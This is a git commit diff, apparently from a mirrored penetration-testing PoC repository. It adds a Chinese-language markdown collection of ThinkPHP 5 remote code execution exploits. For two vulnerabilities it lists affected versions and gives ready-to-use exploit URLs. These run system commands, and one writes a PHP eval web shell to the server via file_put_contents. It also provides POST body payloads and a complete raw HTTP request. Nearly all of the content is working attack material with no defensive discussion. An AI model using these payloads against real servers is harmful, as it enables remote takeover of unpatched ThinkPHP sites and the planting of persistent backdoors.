mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-11-05 10:43:28 +00:00
add 5TP5_RCE合集
This commit is contained in:
parent
9af99d6368
commit
4bc656b7c2
102
tp5-getshell/TP5_RCE合集.md
Normal file
102
tp5-getshell/TP5_RCE合集.md
Normal file
@ -0,0 +1,102 @@
|
||||
# 目录
|
||||
|
||||
##### 一、控制器名引起的RCE
|
||||
|
||||
##### 二、核心类Requests引起的RCE
|
||||
|
||||
### 一、控制器名引起的RCE
|
||||
|
||||
##### 公开时间:
|
||||
|
||||
2018/12/09
|
||||
|
||||
##### 影响版本:
|
||||
|
||||
ThinkPHP 5.0系列 < 5.0.23
|
||||
ThinkPHP 5.1系列 < 5.1.31
|
||||
|
||||
poc:
|
||||
|
||||
```
|
||||
http://127.0.0.1/tp5022/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1
|
||||
```
|
||||
|
||||
exp:
|
||||
|
||||
```
|
||||
http://127.0.0.1/tp5022/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
|
||||
```
|
||||
|
||||
shell:
|
||||
|
||||
```
|
||||
http://127.0.0.1/tp5022/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=a.php&vars[1][]=<?php eval(@$_POST['a']);?>#shell地址http://127.0.0.1/tp5022/public/a.php
|
||||
```
|
||||
|
||||
### 二、核心类Requests引起的RCE
|
||||
|
||||
##### 公开时间:
|
||||
|
||||
2019/01/11
|
||||
|
||||
##### 影响版本:
|
||||
|
||||
5.0全系列,具体如下
|
||||
|
||||
```
|
||||
版本名 是否可被攻击 攻击条件
|
||||
5.0.0 否 无
|
||||
5.0.1 否 无
|
||||
5.0.2 否 无
|
||||
5.0.3 否 无
|
||||
5.0.4 否 无
|
||||
5.0.5 否 无
|
||||
5.0.6 否 无
|
||||
5.0.7 否 无
|
||||
5.0.8 是 无需开启debug
|
||||
5.0.9 是 无需开启debug
|
||||
5.0.10 是 无需开启debug
|
||||
5.0.11 是 无需开启debug
|
||||
5.0.12 是 无需开启debug
|
||||
5.0.13 是 需开启debug
|
||||
5.0.14 是 需开启debug
|
||||
5.0.15 是 需开启debug
|
||||
5.0.16 是 需开启debug
|
||||
5.0.17 是 需开启debug
|
||||
5.0.18 是 需开启debug
|
||||
5.0.19 是 需开启debug
|
||||
5.0.20 否 无
|
||||
5.0.21 是 需开启debug
|
||||
5.0.22 是 需开启debug
|
||||
5.0.23 是 需开启debug
|
||||
5.0.24 否 无
|
||||
```
|
||||
|
||||
exp:
|
||||
|
||||
```
|
||||
版本号:5.0.8~5.0.19s=whoami&_method=__construct&filter&filter=system版本号:5.0.20~5.0.23_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami或_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
|
||||
```
|
||||
|
||||
具体请求包如下,留意下`Content-Type: application/x-www-form-urlencoded`
|
||||
|
||||
```
|
||||
POST /tp5022/public/ HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
Cookie: think_var=zh-cn
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 65
|
||||
|
||||
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
|
||||
```
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user